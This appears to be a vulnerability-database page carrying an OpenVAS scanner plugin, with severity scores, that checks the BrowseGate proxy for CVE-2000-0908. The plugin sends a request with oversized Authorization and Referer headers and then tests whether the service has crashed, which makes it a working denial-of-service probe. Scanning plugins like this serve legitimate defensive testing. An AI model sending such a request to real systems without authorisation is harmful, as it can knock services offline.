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HistoryNov 03, 2005 - 12:00 a.m.

BrowseGate HTTP headers overflows

2005-11-0300:00:00
Copyright (C) 2002 Michel Arboi
plugins.openvas.org
66

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

6.7 Medium

AI Score

Confidence

Low

0.047 Low

EPSS

Percentile

92.7%

It was possible to kill the BrowseGate
proxy by sending it an invalid request with too long HTTP headers (Authorization and Referer)

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11130");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1702");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2000-0908");
  script_name("BrowseGate HTTP headers overflows");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");

  script_tag(name:"summary", value:"It was possible to kill the BrowseGate
  proxy by sending it an invalid request with too long HTTP headers (Authorization and Referer)");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make your web server
  crash continually or even execute arbirtray code on your system.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"Mitigation");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
if(http_is_dead(port:port))
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

ua = http_get_user_agent();

r = string("GET / HTTP/1.0\r\n",
           "Authorization: Basic", crap(8192), "\r\n",
           "From: [email protected]\r\n",
           "If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT\r\n",
           "Referer: http://www.example.com/", crap(8192), "\r\n",
           "UserAgent: ", ua, "\r\n\r\n");

send(socket:soc, data:r);
http_recv(socket:soc);
http_close_socket(soc);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

6.7 Medium

AI Score

Confidence

Low

0.047 Low

EPSS

Percentile

92.7%

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